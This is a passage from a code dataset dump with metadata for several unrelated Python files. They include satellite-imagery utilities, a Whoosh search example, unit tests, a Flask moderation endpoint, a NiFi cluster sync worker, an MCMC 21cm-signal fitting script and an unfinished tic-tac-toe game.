2)).T\n    elif rescale_mode == \"values\":\n        min_value, max_value = rescale_range\n        if min_value is None:\n            min_value = np.min(image)\n        if max_value is None:\n            max_value = np.max(image)\n        in_range = np.array([(min_value, max_value) for _ in range(image.shape[0])])\n    elif rescale_mode == \"s2_rgb_extra\":\n        in_range = np.percentile(image, rescale_range, axis=(1, 2)).T\n        # Override first 3 ranges for (0, 0.3) (Sentinel-2 L2A TCI range)\n        in_range[0] = (0, 0.3)\n        in_range[1] = (0, 0.3)\n        in_range[2] = (0, 0.3)\n    else:\n        raise RuntimeError(f\"unknown rescale_mode {rescale_mode}\")\n\n    return np.array(\n        [\n            exposure.rescale_intensity(\n                image[i, :, :], in_range=tuple(in_range[i]), out_range=(1, 255)\n            ).astype(np.uint8)\n            for i in range(image.shape[0])\n        ]\n    )\n\n\ndef write_chips_geojson(output_path, chip_pairs, *, chip_type, crs, basename):\n    \"\"\"Write a GeoJSON containing chips polygons as features\n\n    Parameters\n    ----------\n    output_path : str\n        GeoJSON output path\n    chip_pairs : Tuple[Shape, Tuple[int, int, int]]\n        a pair with the chip polygon geometry, and a tuple of (feature id, x, y)\n    chip_type : str\n        chip file type extension (e.g. tif, jpg)\n    crs : str\n        CRS epsg code of chip polygon geometry\n    basename : str\n        basename of chip files\n\n    Returns\n    -------\n    None\n\n    \"\"\"\n    if not chip_pairs:\n        _logger.warn(\"No chips to save\")\n        return\n\n    _logger.info(\"Write chips geojson\")\n    os.makedirs(os.path.dirname(output_path), exist_ok=True)\n\n    with open(output_path, \"w\") as f:\n        d = {\"type\": \"FeatureCollection\", \"features\": []}\n        if crs != \"epsg:4326\":\n            code = crs.split(\":\")[1]\n            d[\"crs\"] = {\n                \"type\": \"name\",\n                \"properties\": {\"name\": f\"urn:ogc:def:crs:EPSG::{code}\"},\n            }\n        for i, (chip, (_fi, xi, yi)) in enumerate(chip_pairs):\n            filename = f\"{basename}_{xi}_{yi}.{chip_type}\"\n            feature = {\n                \"type\": \"Feature\",\n                \"geometry\": mapping(chip),\n                \"properties\": {\"id\": i, \"x\": xi, \"y\": yi, \"filename\": filename},\n            }\n            d[\"features\"].append(feature)\n        f.write(json.dumps(d))\n\n\ndef get_raster_band_count(path):\n    \"\"\"Get raster band count\n\n    Parameters\n    ----------\n    path : str\n        path of the raster image\n\n    Returns\n    -------\n    int\n        band count\n\n    \"\"\"\n    with rasterio.open(path) as src:\n        return src.count\n\n\ndef reproject_shape(shp, from_crs, to_crs, project=None):\n    \"\"\"Reproject a shape from `from_crs` to `to_crs`\n\n    Parameters\n    ----------\n    shp : Shape\n        shape to reproject\n    from_crs : str\n        CRS epsg code of shape geometry\n    to_crs : str\n        CRS epsg code of reprojected shape geometry\n    project : Optional[str]\n        a Transformer instance to use for reprojection\n\n    Returns\n    -------\n    Shape\n        reprojected shape\n\n    \"\"\"\n    if from_crs == to_crs:\n        return shp\n    if project is None:\n        project = pyproj.Transformer.from_crs(\n            from_crs, to_crs, always_xy=True\n        ).transform\n    return transform(project, shp)\n\n\ndef proj_crs_from_fiona_dataset(fio_ds):\n    return CRS.from_wkt(fio_ds.crs_wkt)\n\n\ndef fiona_crs_from_proj_crs(proj_crs):\n    if version.parse(fiona.__gdal_version__) < version.parse(\"3.0.0\"):\n        fio_crs = proj_crs.to_wkt(WktVersion.WKT1_GDAL)\n    else:\n        # GDAL 3+ can use WKT2\n        fio_crs = proj_crs.to_wkt()\n    return fio_crs\n\n\ndef build_virtual_raster(image_paths, output_path, separate=None, band=None):\n    os.makedirs(os.path.dirname(output_path), exist_ok=True)\n    # For some reason, relative paths wont work, so we get the absolute path of\n    # each input image path.\n    image_paths = [os.path.abspath(p) for p in image_paths]\n    with tempfile.NamedTemporaryFile() as f:\n        # Write a list of image files to a temporary file\n        for image_path in image_paths:\n            f.write(f\"{image_path}\\n\".encode())\n        f.flush()\n        output_path = os.path.abspath(output_path)\n        run_command(\n            f\"gdalbuildvrt -q -overwrite \"\n            f\"-input_file_list {f.name} \"\n            f\"{'-separate ' if separate else ''}\"\n            f\"{f'-b {band} ' if band else ''}\"\n            f\"{output_path}\",\n            cwd=os.path.dirname(output_path),\n        )\n\n\ndef run_command(cmd, quiet=True, *, cwd=None):\n    \"\"\"Run a shell command\n\n    Parameters\n    ----------\n    cmd : str\n        command to run\n    quiet : bool (default: True)\n        silent output (stdout and sterr)\n\n    Returns\n    -------\n    None\n\n    \"\"\"\n    stderr = subprocess.DEVNULL if quiet else None\n    stdout = subprocess.DEVNULL if quiet else None\n    subprocess.run(cmd, shell=True, stderr=stderr, stdout=stdout, check=True, cwd=cwd)\n\n\ndef map_with_threads(items, worker, num_jobs=None, total=None, desc=None):\n    \"\"\"Map a worker function to an iterable of items, using a thread pool\n\n    Parameters\n    ----------\n    items : iterable\n        items to map\n    worker : Function\n        worker function to apply to each item\n    num_jobs : int\n        number of threads to use\n    total : int (optional)\n        total number of items (for the progress bar)\n    desc : str (optional)\n        description of the task (for the progress bar)\n\n    Returns\n    -------\n    None\n\n    \"\"\"\n    if not total:\n        total = len(items)\n    if not num_jobs:\n        num_jobs = mp.cpu_count()\n    with ThreadPool(num_jobs) as pool:\n        with logging_redirect_tqdm():\n            with tqdm(total=len(items), ascii=True, desc=desc) as pbar:\n                for _ in enumerate(pool.imap_unordered(worker, items)):\n                    pbar.update()\n","repo_name":"dymaxionlabs/satproc","sub_path":"satproc/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":9173,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"3"}
+{"seq_id":"35200509438","text":"from whoosh.index import create_in\nfrom whoosh.fields import *\n\nschema = Schema(title=TEXT(stored=True), path=ID(stored=True), content=TEXT)\nix = create_in(\".\", schema)\nwriter = ix.writer()\nwriter.add_document(title=u\"First document\", path=u\"/a\",\n                    content=u\"This is the first document we've added!\")\nwriter.add_document(title=u\"Second document\", path=u\"/b\",\n                    content=u\"The second one is even more interesting!\")\nwriter.commit()\n\nfrom whoosh.qparser import QueryParser\nwith ix.searcher() as searcher:\n    query = QueryParser(\"content\", ix.schema).parse(\"first\")\n    results = searcher.search(query)\n    print(results[0])\n","repo_name":"ContinuumIO/anaconda-recipes","sub_path":"whoosh/run_test.py","file_name":"run_test.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":117,"dataset":"github-code","pt":"3"}
+{"seq_id":"19928588577","text":"\n#There are two methods to read from a file.\n#Method 1\n\nf1 = open('File IO/data.txt' , 'r')  # 'r' represent 'read mode'.\ns1=f1.read()\nf1.close()   \nprint(s1)\n#Method 2\n\nwith open('File IO/data.txt','r') as f2:\n    s2=f2.read()\n    print(s2)\n# Method 2 doesn't requires file closing","repo_name":"taahahussainkhan/Python","sub_path":"File Input-Output/read.py","file_name":"read.py","file_ext":"py","file_size_in_byte":282,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"29255009567","text":"from unittest import mock\nimport pytest\nfrom io import StringIO\nfrom maps.pylibs.utils.lib import process\n\nfrom maps.garden.sdk.core import Version\nfrom maps.garden.sdk.resources import FileResource\n\nfrom maps.garden.sdk.extensions import exec_embedded_tool_task as exec_task\n\nTEST_BIN_RESOURCE_PATH = \"/garden/test_bin\"\nWRONG_BIN_RESOURCE_PATH = \"/garden/wrong_bin\"\n\n\ndef test_unexistent_resource_name():\n    task = exec_task.DeprecatedExecEmbeddedToolTask(\n        resource_key=\"unexistent_name\",\n        arg_templates=[])\n\n    with pytest.raises(TypeError):\n        task()\n\n\ndef test_wrong_binary():\n    task = exec_task.DeprecatedExecEmbeddedToolTask(\n        resource_key=WRONG_BIN_RESOURCE_PATH,\n        arg_templates=[])\n\n    with pytest.raises(RuntimeError) as e:\n        task()\n\n    assert \"[Errno 8] Exec format error\" in str(e.value)\n\n\n@mock.patch('sys.stderr', new_callable=StringIO)\n@mock.patch('sys.stdout', new_callable=StringIO)\ndef test_success(mock_stdout, mock_stderr):\n    task = exec_task.DeprecatedExecEmbeddedToolTask(\n        resource_key=TEST_BIN_RESOURCE_PATH,\n        arg_templates=[])\n    task()\n    assert mock_stdout.getvalue() == 'Hello, world!'\n    assert mock_stderr.getvalue() == 'Hello, errors!'\n\n\n@mock.patch('sys.stdout', new_callable=StringIO)\ndef test_good_argument(mock_stdout):\n    task = exec_task.DeprecatedExecEmbeddedToolTask(\n        resource_key=TEST_BIN_RESOURCE_PATH,\n        arg_templates=[\"check argument\"])\n    task()\n    assert mock_stdout.getvalue() == 'good argument'\n\n\ndef test_bad_argument():\n    task = exec_task.DeprecatedExecEmbeddedToolTask(\n        resource_key=TEST_BIN_RESOURCE_PATH,\n        arg_templates=[\"bad argument\"])\n\n    with pytest.raises(process.ExecutionFailed) as e:\n        task()\n\n    assert e.value.err == \"bad argument `bad argument`\"\n\n\n@mock.patch('sys.stdout', new_callable=StringIO)\ndef test_format_env(mock_stdout):\n    task = exec_task.DeprecatedExecEmbeddedToolTask(\n        resource_key=TEST_BIN_RESOURCE_PATH,\n        arg_templates=[\"check environment\"],\n        env={\"var_name\": \"{param}\"})\n    task(extra_strings={\"param\": \"good value\"})\n    assert mock_stdout.getvalue() == 'good environment'\n\n\ndef _construct_resource(environment_settings):\n    resource = FileResource(\"name\", \"name\")\n    resource.version = Version()\n    resource.load_environment_settings(environment_settings)\n    resource.exists = False\n    return resource\n\n\n@mock.patch('sys.stdout', new_callable=StringIO)\ndef test_input_stream(mock_stdout, environment_settings):\n    resource = _construct_resource(environment_settings)\n\n    with resource.open(\"w\") as f:\n        f.write(\"good data\")\n\n    task = exec_task.DeprecatedExecEmbeddedToolTask(\n        resource_key=TEST_BIN_RESOURCE_PATH,\n        arg_templates=[\"check stdin\"])\n    task(stdin=resource)\n    assert mock_stdout.getvalue() == 'good data'\n\n\ndef test_output_streams(environment_settings):\n    resource = _construct_resource(environment_settings)\n\n    task = exec_task.DeprecatedExecEmbeddedToolTask(\n        resource_key=TEST_BIN_RESOURCE_PATH,\n        arg_templates=[\"check argument\"])\n    task(stdout=resource)\n\n    with resource.open(\"r\") as f:\n        out_data = f.readline()\n        assert out_data == \"good argument\"\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"maps/tests/test_exec_embedded_tool_task.py","file_name":"test_exec_embedded_tool_task.py","file_ext":"py","file_size_in_byte":3244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"5376439087","text":"from flask import redirect, request, g\n\nimport zeton.data_access\nfrom zeton import auth\nfrom zeton.api import bp\n\n\n@bp.route(\"/ban/<child_id>/<ban_type>\", methods=['POST'])\n@auth.login_required\n@auth.logged_child_or_caregiver_only\ndef give_ban(child_id, ban_type):\n    logged_user_id = g.user_data['id']\n    ten_minutes = 10\n\n    if ban_type == 'warn':\n        zeton.data_access.bans.give_warn(child_id, logged_user_id)\n    elif ban_type == 'kick':\n        zeton.data_access.bans.give_kick(child_id, logged_user_id)\n    elif ban_type == 'ban':\n        zeton.data_access.bans.give_ban(child_id, ten_minutes, logged_user_id)\n\n    return redirect(request.referrer)\n","repo_name":"tgbdc7/zeton","sub_path":"zeton/api/bans.py","file_name":"bans.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"3"}
+{"seq_id":"30709543676","text":"import logging\nfrom configuration.config_loader import Configuration\nimport services.registry_service as registry_service\nimport services.project_service as project_service\nimport services.parameter_context_service as parameter_context_service\nimport services.user_service as user_service\nimport services.user_group_service as user_group_service\nimport services.access_policy_service as access_policy_service\n\n\ndef process(configuration: Configuration):\n    logger = logging.getLogger(__name__)\n\n    try:\n        if configuration.security.is_coordinated:\n            access_policy_service.init_access_policies_descriptors()\n\n        for cluster in configuration.clusters:\n            cluster.test_connectivity()\n\n        for cluster in list(filter(lambda c: c.is_reachable, configuration.clusters)):\n            logger.info(f'Setting registry clients for cluster: {cluster.name}')\n            registry_service.sync(cluster, configuration.registries)\n\n            if configuration.security.is_coordinated:\n                logger.info(f'Setting users for cluster: {cluster.name}')\n                user_service.sync(cluster, configuration.security.users)\n\n                logger.info(f'Setting user groups for cluster: {cluster.name}')\n                user_group_service.sync(cluster, configuration.security.user_groups, configuration.security.users)\n\n                logger.info(f'Setting global access policies for cluster: {cluster.name}')\n                access_policy_service.sync_global_policies(cluster, configuration.security)\n\n            logger.info(f'Setting parameter contexts for cluster: {cluster.name}')\n            parameter_context_service.sync(cluster, configuration.parameter_contexts)\n\n            logger.info(f'Setting projects for cluster: {cluster.name}')\n            project_service.sync(cluster, configuration.projects, configuration.parameter_contexts)\n\n            if configuration.security.is_coordinated:\n                logger.info(f'Setting component access policies for cluster: {cluster.name}')\n                access_policy_service.sync_component_policies(cluster, configuration.security, configuration.projects)\n\n    except Exception as exception:\n        logger.warning(exception)\n","repo_name":"plexsystems/nifi-cluster-coordinator","sub_path":"nifi_cluster_coordinator/worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":2214,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"3"}
+{"seq_id":"30398544634","text":"# %%\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom scipy.interpolate import CubicSpline\r\nimport ares\r\nfrom math import ceil\r\n\r\n# %%\r\n#loading the EDGES data (the e subscipt is related to EDGES)\r\ndata_1 = pd.read_csv('/home/o/oscarh/aryanah/My-Project/data/data_1.csv')\r\nfreq_e = data_1.iloc[:,0] #frequency, MHz\r\n\r\n#Changing the axis from frequency to redshift\r\nv_0 = 1420 #MHz, frequency of 21cm line\r\nz_e = (v_0/freq_e)-1 #conversion of frequency to redshift\r\n\r\n# %%\r\ndef dict_to_list(d): #converts dictionary to two lists (key and value)\r\n    #d must be a dictionary containing the value of parameters and their names\r\n    key = list(d.keys())\r\n    value = list(d.values())\r\n    return value, key\r\n\r\ndef list_to_dict(value, key): #converts two lists (key and value) to a dictionary\r\n    #value is a list of parameters' values\r\n    #key is a list of parameters' names\r\n    return dict(zip(key, value))\r\n\r\ndef call_ares (params, redshifts): \r\n    #params should be a dictionary\r\n    value, key = dict_to_list(params)\r\n    \r\n    value_denormalized = np.array(value, dtype='float64')\r\n    value_denormalized[0] = 10** (value[0])\r\n    value_denormalized[1] = 10** (value[1])\r\n    value_denormalized[2] = 10** (value[2])\r\n    params_denormalized = list_to_dict(value_denormalized, key)\r\n    \r\n    #running ares\r\n    sim = ares.simulations.Global21cm(**params_denormalized, verbose=False, progress_bar=False)\r\n    sim.run()\r\n    z = sim.history['z'][::-1]\r\n    dTb = sim.history['dTb'][::-1]\r\n    z = z[z<50]\r\n    dTb = dTb[:len(z)]\r\n    spline = CubicSpline(z, dTb)\r\n    \r\n    return spline(redshifts) \r\n\r\ndef func_ares (m, z, d = 1E6): \r\n    #I can further change this function to include the best dx - 4*int(1E5) is the best number I found so far\r\n    #m is the list of params \r\n    #z is the redshift range\r\n    #y is the brightness temp\r\n    m = np.array(m)\r\n    T = call_ares(list_to_dict(m, key), z)\r\n    derivs = np.zeros([len(z), len(m)])\r\n    dpars = np.zeros(len(m))\r\n    dpars = m/d \r\n    for i in range(len(m)):        \r\n        pars_plus = np.array(m, copy=True, dtype = 'float64')\r\n        pars_plus[i] = pars_plus[i] + dpars[i]\r\n        \r\n        pars_minus = np.array(m, copy=True, dtype = 'float64')\r\n        pars_minus[i] = pars_minus[i] - dpars[i]\r\n        \r\n        A_plus = call_ares (list_to_dict(pars_plus, key), z)\r\n        A_minus = call_ares (list_to_dict(pars_minus, key), z)\r\n        A_m = (A_plus - A_minus)/(2*dpars[i])\r\n        derivs[:, i] = A_m    \r\n    return T, derivs\r\n\r\ndef cov_mat_calc(mat):\r\n    dim = mat.shape[0]\r\n    cov=(mat.T@mat)/dim\r\n    return cov\r\n\r\ndef chisquare (pars, data, err): #returns the chi-square of two 21cm curves - err can be a number/array\r\n    pred = call_ares(list_to_dict(pars, key), z_e)\r\n    chisq = np.sum((pred-data)**2/err**2)\r\n    return chisq\r\n\r\ndef draw_samples(covariance_matrix, nset):\r\n    #normalizing the covariance matrix\r\n    D = np.diag(np.diag(covariance_matrix)) #diagonal matrix of covariance matrix\r\n    D_sqrt = np.sqrt(D)\r\n    D_inv_sqrt = np.linalg.inv(D_sqrt)\r\n    covariance_matrix_normalized = D_inv_sqrt @ covariance_matrix @ D_inv_sqrt #normalized covariance matrix\r\n\r\n    e,v = np.linalg.eigh(covariance_matrix_normalized)\r\n    e[e<0]=0 #make sure we don't have any negative eigenvalues due to roundoff\r\n    n = len(e)\r\n\r\n    #make gaussian random variables\r\n    g=np.random.randn(n, nset)\r\n\r\n    #now scale them by the square root of the eigenvalues\r\n    rte=np.sqrt(e)\r\n    for i in range(nset):\r\n        g[:,i]=g[:,i]*rte\r\n\r\n    #and rotate back into the original space\r\n    samples = (v@g).T\r\n    samples_denormalized = samples @ D_sqrt\r\n    return samples_denormalized\r\n\r\n#Defining the MCMC chain\r\ndef mcmc(fun_chisq, start_guess, covariance_matrix, data, err, nstep):\r\n    samples = draw_samples(covariance_matrix, nstep)\r\n\r\n    #definig the chain\r\n    chain = np.empty((nstep, len(start_guess)))\r\n    chain[0, :] = start_guess\r\n     \r\n    #defining the chi-square array\r\n    chisq = np.zeros(nstep)\r\n    chisq[0] = fun_chisq(start_guess, data, err)\r\n\r\n    #defining the acceptance ratio\r\n    acceptance_ratio = 0\r\n            \r\n    #the chain \r\n    for i in range(1, nstep):\r\n        #print('iteration number', i, 'of', nstep) \r\n        new_param = samples[i, :] + chain[i-1, :]\r\n        \r\n        try:\r\n            new_chisq =  fun_chisq(new_param, data, err)\r\n        except:\r\n            new_chisq = 1E7\r\n      \r\n        if new_chisq <= chisq[i-1]:\r\n            acceptance_ratio = acceptance_ratio + 1\r\n            chisq[i] = new_chisq\r\n            chain[i, :] = new_param \r\n            \r\n        else :\r\n            if np.random.rand(1)<np.exp(-0.5*(new_chisq-chisq[i-1])):\r\n                acceptance_ratio = acceptance_ratio + 1\r\n                chisq[i] = new_chisq\r\n                chain[i, :] = new_param\r\n            else:\r\n                chisq[i] = chisq[i-1]\r\n                chain[i, :] = chain[i-1, :]          \r\n    return chain, chisq, acceptance_ratio/nstep\r\n\r\n# %%\r\n#inputs \r\ndict_true = {'pop_rad_yield_0_': 4.0, 'pop_rad_yield_1_': 29.0, 'pop_rad_yield_2_': 5.0, 'clumping_factor': 1.7} \r\nm_true, key = dict_to_list(dict_true)\r\ny_true = call_ares(dict_true, z_e)\r\ny = y_true\r\nmodel_e = y\r\nm0 = [4.1, 29.5, 4.9, 1.8]\r\n\r\nparam_length = len(dict_true)\r\nnstep = 500\r\nerr = 1\r\n\r\ny_fit, derivs = func_ares(m_true, z_e)\r\ndim = derivs.shape[0]\r\nmycov = cov_mat_calc(derivs) \r\n\r\n# %%\r\n#Running the MCMC\r\nparams, cs, acceptance_ratio = mcmc(chisquare, m0, mycov/2, model_e, err, nstep)\r\n#np.savetxt('params.gz' , params)\r\nnp.savetxt('/scratch/o/oscarh/aryanah/output_1/params.gz' , params)\r\n\r\n#MCMC output\r\nmcmc_param= np.empty(param_length)\r\nfor i in range(param_length):\r\n    mcmc_param[i] = np.mean(params[:,i]) #array of best parameters  \r\nmcmc_param_dict = list_to_dict(mcmc_param, key)\r\nmcmc_T = call_ares(mcmc_param_dict, z_e)\r\n\r\n#txt = open('results.txt', 'w')\r\ntxt = open('/scratch/o/oscarh/aryanah/output_1/results.txt','w')\r\ntxt.write('True Parameters: ' + repr(m_true) + '\\n')\r\ntxt.write('Starting Parameters: ' + repr(m0) + '\\n')\r\n#txt.write('LM Fitted Parameters: ' + repr(m_fit) + '\\n')\r\ntxt.write('MCMC Fitted Parameters: ' + repr(mcmc_param) + '\\n')\r\n\r\ntxt.write('\\n' + \"Chi-squared of original guess:\"+ repr(chisquare(m0, model_e, err))+ '\\n')\r\n#txt.write(\"Chi-squared of lm result:\"+ repr(chisquare(m_fit, model_e, err))+ '\\n')\r\ntxt.write(\"Chi-squared of mcmc result:\"+ repr(chisquare(mcmc_param, model_e, err))+ '\\n')\r\n\r\ntxt.write(\"acceptance_ratio for %d Steps: \" %nstep + repr(acceptance_ratio*100) +\"%\"+ '\\n')\r\ntxt.write('\\n' + 'Covariance Matrix: ' + repr(mycov) + '\\n')\r\ntxt.close()\r\n\r\n#Fourier Transform------------------------------------------------------------------------------------------------------\r\nps = np.zeros((nstep, param_length))\r\nfor i in range(param_length):\r\n    ps[:, i] = np.abs(np.fft.fft(params[:, i]))**2\r\n    \r\nfreqs = np.fft.rfftfreq(nstep)\r\nidx = np.argsort(freqs)\r\n#np.savetxt('ps.gz' , ps)\r\nnp.savetxt('/scratch/o/oscarh/aryanah/output_1/ps.gz' , ps)\r\n\r\n#Plotting the mcmc outputs-----------------------------------------------------------------------------------------------\r\nfig2 = plt.figure()\r\nplt.plot(z_e, call_ares(list_to_dict(m0, key), z_e), label='Start Guess')\r\nplt.plot(z_e, y_true, label='True Curve')\r\nplt.plot(z_e, mcmc_T, label=\"MCMC Result\")\r\nplt.title('Result of MCMC (%d Steps)'%nstep, fontsize=12)\r\nplt.xlabel('Redshift', fontsize=12)\r\nplt.ylabel('T(mK)', fontsize=12)\r\nplt.legend()\r\n#plt.savefig('mcmc_result.png')\r\nplt.savefig('/scratch/o/oscarh/aryanah/output_1/mcmc_result.png')\r\n\r\n#Plotting the chi-square trend-------------------------------------------------------------------------------------------\r\nfig3 = plt.figure()\r\n#plt.plot(np.log(cs))\r\nplt.semilogy(cs)\r\nplt.xlabel('number of steps', fontsize=12)\r\nplt.title ('Chi-Square Trend (%d Steps)'%nstep, fontsize=12)\r\nplt.ylabel('Chi-Square', fontsize=12)\r\n#plt.savefig('chi-square.png')\r\nplt.savefig('/scratch/o/oscarh/aryanah/output_1/chi-square.png')\r\n\r\n#Plotting the parameters trend--------------------------------------------------------------------------------------------\r\nfig4, ax_list = plt.subplots(ceil(param_length/2), 2, figsize=(13,10))\r\nfig4.suptitle('Chain (%d Steps)'%nstep, fontsize=16)\r\nif((param_length % 2) == 0):\r\n    for i in range(ceil(param_length/2)):\r\n        for j in range(2):\r\n            ax_list[i, j].plot(params[:, i*2+ j])\r\n            ax_list[i, j].set_ylabel(repr(key[i*2+ j]), fontsize=16)\r\n            ax_list[i, j].set_xlabel('number of steps', fontsize=12)\r\n\r\nelse:\r\n    for i in range(ceil(param_length/2)):\r\n        for j in range(2):\r\n            if(j == 1 and i == (ceil(param_length/2)-1)):\r\n                break\r\n            ax_list[i, j].plot(params[:, i*2+ j])\r\n            ax_list[i, j].set_ylabel(repr(key[i*2+ j]), fontsize=16)\r\n            ax_list[i, j].set_xlabel('number of steps', fontsize=12)\r\n            \r\n\r\nplt.tight_layout()\r\n#plt.savefig('parameters.png')\r\nplt.savefig('/scratch/o/oscarh/aryanah/output_1/parameters.png') \r\n\r\n#Plotting the Fourier Transform-------------------------------------------------------------------------------------------\r\nfig4, ax_list = plt.subplots(ceil(param_length/2), 2, figsize=(13,10))\r\nfig4.suptitle('Power Spectrum of the Chain (%d Steps)'%nstep, fontsize=16)\r\nif((param_length % 2) == 0):\r\n    for i in range(ceil(param_length/2)):\r\n        for j in range(2):\r\n            ax_list[i, j].loglog(freqs[idx], ps[idx, i*2+ j])\r\n            #plt.yscale(\"log\")\r\n            ax_list[i, j].set_ylabel(repr(key[i*2+ j]), fontsize=16)\r\n            ax_list[i, j].set_xlabel('frequency', fontsize=12)\r\n            #ax_list[i, j].set_ylim(0, 1E2)\r\n            #ax_list[i, j].set_xlim(0.2, 0.5)\r\n\r\nelse:\r\n    for i in range(ceil(param_length/2)):\r\n        for j in range(2):\r\n            if(j == 1 and i == (ceil(param_length/2)-1)):\r\n                break\r\n            ax_list[i, j].loglog(freqs[idx], ps[idx, i*2+ j])\r\n            #plt.yscale(\"log\")\r\n            ax_list[i, j].set_ylabel(repr(key[i*2+ j]), fontsize=16)\r\n            ax_list[i, j].set_xlabel('frequency', fontsize=12)\r\n            #ax_list[i, j].set_ylim(0, 1E2)\r\n            #ax_list[i, j].set_xlim(0.2, 0.5)\r\n            \r\n            \r\n\r\nplt.tight_layout()\r\n#plt.savefig('fourier.png')\r\nplt.savefig('/scratch/o/oscarh/aryanah/output_1/fourier.png')\r\n\r\n#Corner Plots--------------------------------------------------------------------------------------------------------------\r\nfig, ax_list = plt.subplots(3, 2, figsize=(12,10))\r\nfig.suptitle('Corner plots of the chain', fontsize=16)\r\n\r\nax_list[0, 0].plot(params[:, 0], params[:, 1], linestyle = \"\", marker=\".\")\r\nax_list[0, 0].set_ylabel(repr(key[1]), fontsize=12)\r\nax_list[0, 0].set_xlabel(repr(key[0]), fontsize=12)\r\n\r\nax_list[0, 1].plot(params[:, 0], params[:, 2], linestyle = \"\", marker=\".\")\r\nax_list[0, 1].set_ylabel(repr(key[2]), fontsize=12)\r\nax_list[0, 1].set_xlabel(repr(key[0]), fontsize=12)\r\n    \r\nax_list[1, 0].plot(params[:, 0], params[:, 3], linestyle = \"\", marker=\".\")\r\nax_list[1, 0].set_ylabel(repr(key[3]), fontsize=12)\r\nax_list[1, 0].set_xlabel(repr(key[0]), fontsize=12)\r\n\r\nax_list[1, 1].plot(params[:, 1], params[:, 2], linestyle = \"\", marker=\".\")\r\nax_list[1, 1].set_ylabel(repr(key[2]), fontsize=12)\r\nax_list[1, 1].set_xlabel(repr(key[1]), fontsize=12)\r\n\r\nax_list[2, 0].plot(params[:, 1], params[:, 3], linestyle = \"\", marker=\".\")\r\nax_list[2, 0].set_ylabel(repr(key[3]), fontsize=12)\r\nax_list[2, 0].set_xlabel(repr(key[1]), fontsize=12)\r\n\r\nax_list[2, 1].plot(params[:, 2], params[:, 3], linestyle = \"\", marker=\".\")\r\nax_list[2, 1].set_ylabel(repr(key[3]), fontsize=12)\r\nax_list[2, 1].set_xlabel(repr(key[2]), fontsize=12)\r\n\r\nplt.tight_layout()\r\n#plt.savefig('corner_plots.png')\r\nplt.savefig('/scratch/o/oscarh/aryanah/output_1/corner_plots.png')","repo_name":"aryana-haghjoo/My-Project","sub_path":"code_history/known_curve/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":11848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40413721361","text":"# Will print the board in order to let the players know whats going on.\r\ndef print_board(tablero):\r\n print (\"\", tablero[0],tablero[1],tablero[2], \"\\n\", tablero[3],tablero[4],tablero[5], \"\\n\", tablero[6], tablero[7], tablero[8])\r\n\r\n\r\n\r\n# Calls the other 3 functiones, if any of them is true, we have a winner. Then it calls \"check_who\" to know whose winning move it was.\r\ndef check_win (tablero,n_turno):\r\n   if (check_horizontals(tablero) or check_verticals(tablero) or check_diagonals(tablero) == True):\r\n      print((\"Ganó el jugador {}\").format(check_who(n_turno)))\r\n      return True\r\n   else:\r\n      return False\r\n\r\n# Checks if any horizontal line is a winner\r\ndef check_horizontals(tablero):\r\n   if (tablero  [0] == tablero [1] and tablero [0] == tablero [2]):\r\n      return True\r\n   elif (tablero [3] == tablero [4] and tablero [3] == tablero [5]):\r\n      return True\r\n   elif (tablero [6] == tablero [7] and tablero [6] == tablero [8]):\r\n      return True\r\n   else:\r\n      return False\r\n\r\n# Checks if any vertical line is a winner\r\ndef check_verticals(tablero):\r\n   if (tablero [0] == tablero [3] and tablero [0] == tablero [6]):\r\n      return True\r\n   elif (tablero [1] == tablero [4] and tablero [1] == tablero [7]):\r\n      return True\r\n   elif (tablero [2] == tablero [5] and tablero [2] == tablero [8]):\r\n      return True\r\n   else:\r\n      return False\r\n\r\n# Checks if any diagonal is a winner\r\ndef check_diagonals(tablero):\r\n   if (tablero [0] == tablero [4] and tablero [0] == tablero[8]):\r\n      return True\r\n   elif (tablero [2] == tablero [4] and tablero [2] == tablero [6]):\r\n      return True\r\n   else:\r\n      return False\r\n\r\n# We know that even turns are \"X\" and odd ones are \"O\" so it checks whose turn it is and it returns the player\r\ndef check_who(n_turno):\r\n   if n_turno % 2 == 1:\r\n      return \"X\"\r\n   else:\r\n      return \"Ø\"\r\n\r\n\r\n# Still needs work. The idea is to check if a move can be done, and if it can´t, to ask for another move. Right now i just points the former\r\ndef check_legal (tablero,movimiento):\r\n   if (movimiento > 8 or movimiento < 0):\r\n      print(\"Movimiento Ilegal mayormenor\")\r\n      return False\r\n   elif tablero [movimiento] == \"X\" or tablero[movimiento] == \"O\":\r\n      print(\"Movimiento Ilegal ocupado\")\r\n      return False\r\n   else:\r\n      return True\r\n\r\nif __name__ == '__main__':\r\n   tablero = [0,1,2,3,4,5,6,7,8]\r\n   end = False\r\n   legal_move = False\r\n   n_turno = 0\r\n\r\n\r\n\r\n   while (n_turno < 9):\r\n      while (n_turno % 2 == 0):\r\n         movimiento = int(input(\"¿Cual es el movimiento de X?\"))\r\n         if (check_legal(tablero, movimiento) == True):\r\n            tablero[movimiento] = \"X\"\r\n            n_turno += 1\r\n            print_board(tablero)\r\n      if check_win(tablero,n_turno) == True:\r\n         break\r\n      while (n_turno % 2 == 1 and n_turno !=9):\r\n         movimiento = int(input(\"¿Cual es el movimiento de Ø?\"))\r\n         if (check_legal(tablero,movimiento) == True):\r\n            tablero[movimiento] = \"Ø\"\r\n            print_board(tablero)\r\n            n_turno += 1\r\n      if check_win(tablero, n_turno) == True:\r\n         break\r\n   if n_turno == 9:\r\n      